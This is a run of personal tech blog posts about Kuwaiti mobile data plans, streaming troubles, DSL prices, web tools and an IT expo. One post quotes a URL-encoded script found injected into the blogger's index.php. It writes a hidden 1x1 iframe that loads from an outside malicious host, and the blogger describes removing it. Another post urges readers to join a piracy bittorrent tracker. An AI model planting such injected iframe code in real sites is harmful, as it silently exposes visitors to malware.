I was trying to watch yesterdays English Premier League game between Chelsea and Manchester United online via Abu Dhabi’s online offering. Its much more convenient and I wanted to get some things done during the game rather than  just focus what I thought would be a boring clash (boy was I wrong). Plus, I paid almost 20KD for it I might as well use it.

The problem was the service I paid for just didn’t want to work. I stared at the black box for a solid 3-5 minutes before giving up and switching the TV on. This isn’t the first time this has happened to me, it mostly happens during important/big games. It looks like that their servers cant handle the bandwidth required.

I kept the browser pointed at the games stream webpage and it started 8 minutes into the game but that wasn’t the end of it. The game didn’t run smoothly at all and was really stuttery throughout. It played for 15-20 seconds and then hangs for another 20-30 seconds. That wasn’t a fun experience.

The free streaming video that I got from a Russian website on the other hand played without a hitch. Which makes things even more frustrating.

This is going to be the final year I subscribe to the online portion of the EPL via Abu Dhabi. I had the same problem last year but was optimistic and thought they must have fixed what was broken.

Viva:

Even though Viva is the newest Telecom in Kuwait, it has the best packages for the heavy user. It is the only company to offer truly unlimited packages without any kind of throttling. The only issue with Viva is its spotty coverage, but once you get it, its smooth sailing from there. I use it for tethering at work and and its great. But they have a connection problem this week and they say they’ll have it fixed ASAP. It’s also the only company with connection speeds up to 42.2Mb, I haven’t tried it though.

Zain:

Zain revamped their data packages a few months ago (or year not sure) but the new packages now competes with Viva’s unlimited plans. Even though its not unlimited the 10, 20 and 30GB are quite sufficient for mobile usage (no tethering). Zain have a better coverage but that doesn’t always mean 3G, as speed often drop to edge when neither 3G nor HSPA is available.

Wataniya:

I’m sure that Wataniya’s 20MB and 200MB packages where designed for the old dumb phones where they hardly use any data. So they are idiotic at this point of time. The other “unlimited” packages where you get just 1GB or 2GB of data before being throttled to a pathetic 128Kbps is absurd and it has the lowest cap of any of the 3 Telecom companies. I used it to tether to my laptop this week during Viva’s outage and I passed the limit in just a few hours (we are already at the end of the month I know) but I rarely use the my mobile data other than the occasional WhatsApp, Twitter and very light browsing.

Recommendation:

If you have Viva coverage then go with them, as a heavy user myself, I really appreciate the TRULY UNLIMITED packages. If you are unlucky and don’t have Viva coverage in your workplace/home then Zain is the second best option.

This cool flash based shoot’em’Up where you have to type to destroy your enemies. Z-Type reminds me of an old Sega game called The Typing of the Dead that was released on the Dreamcast back in 1999.

I just found my new Time-waster game.

Z-Type

Aoccdrnig to a rscheearch at Cmabrigde Uinervtisy, it deosn’t mttaer in waht oredr the ltteers in a wrod are, the olny iprmoetnt tihng is taht the frist and lsat ltteer be at the rghit pclae. The rset can be a toatl mses and you can sitll raed it wouthit porbelm. Tihs is bcuseae the huamn mnid deos not raed ervey lteter by istlef, but the wrod as a wlohe.

Well, it turns out that it has nothing to do with Cambridge University and spelling does matter as this video explains:

Link

The image above of the “Big Ben” and the “House Of Parliament” is a from a maps application not a 3D rendering program.

Nokia’s approach to 3D is just absolutely amazing I recommend that everyone should go and check it out. You will need to install a browser plug-in for the website to work but its worth it.

After visiting the site just click on the 3D icon on the top right. The website is still in beta and there is just a handful of cities to browse.

Nokia Maps

I forgot my keyboard on Arabic while typing a search query.I didn’t notice it till I finished typing. But after looking at the search results I realized that it had translated my Arabic search term to english by exchanging the arabic letters with the english ones on an english keyboard. Genius Google.

KEMS’s Facebook page operator also used the word “Abusers” to define the people that use too much data by pirating applications and movies as he says. If he truly thinks that then my friend you are misinformed. I can legally download applications movies and tv shows and also pass the stupid CAP that is implemented. What make you think that illegal means we are hogging more bandwidth than legal ones?

I have a number of itunes season passes that can also easily pass the cap as I “BOUGHT” i.e. with my own money, more than 30 HD season passes.

Using steam is also a bandwidth killer. I bought recently a number of games during steams summer sale where they have a number of games each day that are on sale for 24 hours. after BUYING the games that I really wanted/liked/didn’t own on a PC, I realized that only by downloading those games that I PURCHASED I would pass the stupid cap.

I also didn’t talk about updating my PC and 3 laptops, updating my apps on my 2 iphones, 2 ipads, 3 android phones. Updating Navigon on an iOS device is almost 2GB by itself not counting other applications or any other activities like downloading podcasts and watching HD youtube which is FREE the last time I checked.

There is an online bloggers campaign that me and countless of other Kuwaiti bloggers have joined that is against internet capping of any kind. [Link]

Viva la revolucion

A few months later fav4 was given an overhaul and now is known as Myfav.es, where the number of the shortcuts/icons increased significantly. You can also add your own pages and edit existing ones. Its been my homepage for a while now and love it.

Myfav.es

At first, that was what I thought. Because it is the1st of April I thought it was just a prank by Google, as I only get the message above if I visit my site using Chrome.

But after digging through  a bit, it seems that my “index.php” file had the following script that triggered that warning.

< script >
enc = "%3Ciframe%20width%3D1%20height%3D1%20border%3D0%  20frameborder%3D0%20src%3D%27http%3A//trafusa.in/info/in.cgi%3F5% 27%3E%3C/iframe%3E";
dec = unescape(enc);
document.write(dec);
< /script >

After removing that I could visit the site without seeing the warning.

I have no idea how long that code was there or even of its important, but the site seems to work properly without it.

Google’s homepage has a Kuwaiti theme to it today.

Happy Holidays Kuwait

This is how I watched todays games using the online subscription and utilizing the bandwidth that  I‘ve got.

Waiting for Chelsea’s game next.

Thanks Mark, Yo Da Man.

Skreemr also provides an embedded Flash player so you can immediately play your search results without downloading the files.

Link

The app is very much like the iPhone app, and that’s a bad thing. There isn’t any extra features and they are not using the extra screen size wisely. You have no control over the pictures, only in HTML format which is a pain (also had problems posting landscape images, no option to rotate). They are auto automatically grouped together (same as the iPhone).

I hope WordPress release an update really soon making use of the iPad functionality. This app at the moment has no advantages over it’s iPhone counterpart.

This post was edited using my laptop.

I was browsing YouTube and noticed some tweaks in their design, like moving the video and user info from the right to above and below the video, making more room for suggested videos. The biggest change is there is no more 5 stare rating , instead they are replaced with a simpler  like/dislike buttons.

You  can take a tour showing what changed while in a video page, and pressing the take a quick tour on the top right of the page just above the suggested videos.

The redesign looks cleaner, I like it.

I’ve been using Google Chrome for a while now and really impressed with its speed. What also nice about Chrome is the ability to use extensions (just like Firefox). One of those extension is Feedly.

If you use Google Reader I really recommend using Feedly, it has a very clean interface and organizes your feeds in an easy to read way with all you categories intact. You can also view your tweets and Buzz’s too.

Link

Finally, finished the long promised redesign of the blog. it might have some kinks so feedback would be appreciated.

I really recommend making this your default webpage. So that every time you launch your browser of choice, you will be greeted by this awesome welcome.

Link

I got the image above when I tried to access flickr during my stay in Dubai. I have no idea why would flickr be blocked, it just makes no sense. I thought they just might be religiously strict so I tried to  access a gambling site, and I did.

And just to make sure that I didn’t just access a site that just wasn’t blocked, giving them the benefit of the doubt (even though that the word casino might have been on top of their list) I tried again, with the first Google result for the search “online gambling”.

So if its not religious, what is it?

I am really liking the Wataniya prepaid internet/data “wnet” service, its easy and convenient.

I got the card for 5KD and had 3KD credit in it. And as soon as you launch a browser no matter if you are using a mobile phone or a PC, you will be directed to the page above where you can choose the package you want with a click of a button.

You can also recharge even if you don’t have any credit left the same way and buy clicking on the “Recharge Your Account” tab where you’ll get 2 options; recharge by Knet/Credit card or by prepaid vouchers that are available almost everywhere.

The other reason that I like Wataniya’s data service is that it is the only provider that has HSDPA coverage in my work building. Zain max-out at Edge and Viva has no coverage at all.

Currently, I’m using the sim card in my unlocked MiFi router and its working flawlessly. Also tried it in my Nexus One, worked great.

I know I have just written about Google,but this is really cool.

Did you know that Google has more than 85% of the global search market share? and 97% of its revenue comes from Ads?

Want to know more about Google? hit the read link below.

Lynk

Then there’s cyberbusiness. We’re promised instant catalog shopping–just point and click for great deals. We’ll order airline tickets over the network, make restaurant reservations and negotiate sales contracts. Stores will become obselete. So how come my local mall does more business in an afternoon than the entire Internet handles in a month? Even if there were a trustworthy way to send money over the Internet–which there isn’t–the network is missing a most essential ingredient of capitalism: salespeople.

That’s just an excerpt of a Newsweek article written in 1995. Its an interesting read.

Link

Registrations are open for what might be the web’s best bittorrent tracker. They usually open registration for brief moment. I was downloading stuff from there and for some reason I was signed out, and from there noticed that the registrations are open.

So hurry up an head over there.

Demonoid

I posted a few days ago about The World’s Ugliest Website, A commenter pointed out that he might have a contender for that. MIA’s website is one awful looking thing.

Yes she is the same MIA that have the hit song Paper Planes.

Don’t click here if you have a epilepsy

When I first saw the title of this article I got angry, first because I was thinking that is giving birth to a child in Kuwait that bad? second why did Kuwait got singled out for comparison for such a topic? do they still think that women here give birth in tents in the middle of the desert?

It seems that Mr. Robert Dominguez is just an idiot, he just made the title sound bad, he thought that California should have a much higher ranking than Kuwait (warzone) and Bosnia (another warzone) it just sounds cool. but in reality its a different story. As I did some research *cough* Google *cough* I found out that Kuwait is one of the safest places to give birth in since it has one of the lowest Maternal mortality ratios in the world.

Kuwait is safer than a lot of countries like: United Kingdom, United States, Germany, Norway, Finland, Italy…… and the list goes on.

So for all of the women that are planning to have their babies abroad saying that the hospitals in Kuwait are crap, relax you’re fine Enshalla :)

Original Article

Full List

These are the current DSL prices here during the InfoConnect Expo.

Prices are for an annual subscription.

* If your line can handle more than 2Mb, you’ll get the speed for the same price as the you would for 4Mb. So basically they are saying that the prices of anything more than 2Mb and less than 4Mb are the same.

** subscription from 5Mb onwards will cost the same.

UPDATE UPDATE:

Notes:

Qualitynet: You’ll get double the subscription speed the first 3 months (for 256Kb and 512Kb subscriptions only), and a free wireless router.

Gulfnet: Subscription are for 14 months (2 free months) and you’ll get a free wireless modem.

They also have a new service where you can temporarily activate a 24Mb speed on your subscription (if your line can handle it) for a fee of 3.5KD. It will be activated for a week or till you reach your cap of 1GB, it can be activated via their website.

KEMS: You get 3 months free (total 15 months).

Fasttelco: You’ll get a 6 times your subscribed speed everyday from 1am to 7am.

updated KEMS 5-max pricing and Qualitynet’s note.

Thanks Khalid

Yesterday we passed by Info Connect at the International Fair Ground to see what’s new. We weren’t expecting much from there except for some new DSL prices but we still had to wonder around checking stuff out before ManU/Arsenal – Egypt/Ghana games.

To our amazement we found a cleaning solution in an Tech/IT expo.

we ended up buying 3 of this AMAZING Kleaner :/

Also when walking around we noticed an unreleased Android mobile device on display in a protected glass case.

Yes it is the SonyEricsson’s upcoming X10. it will be the company’s first android device that should be available as early as next month.

Zidaneoo was also looking for a new laptop. So, we had a quick look around and saw an i7 and an i5 HP laptops that had a very good price. cant remember the exact pricing and specs. but I should have the up soon.

We took our time there wich made us miss both game’s kick-off. and when we got to Showtime’s booth i saw this.

Of course they were watching the Egypt game.

And when it was time to leave, it was raining and we were greeted with a lightnings show.

So, not much to say about the Expo. With the exception of semi-good ADSL prices.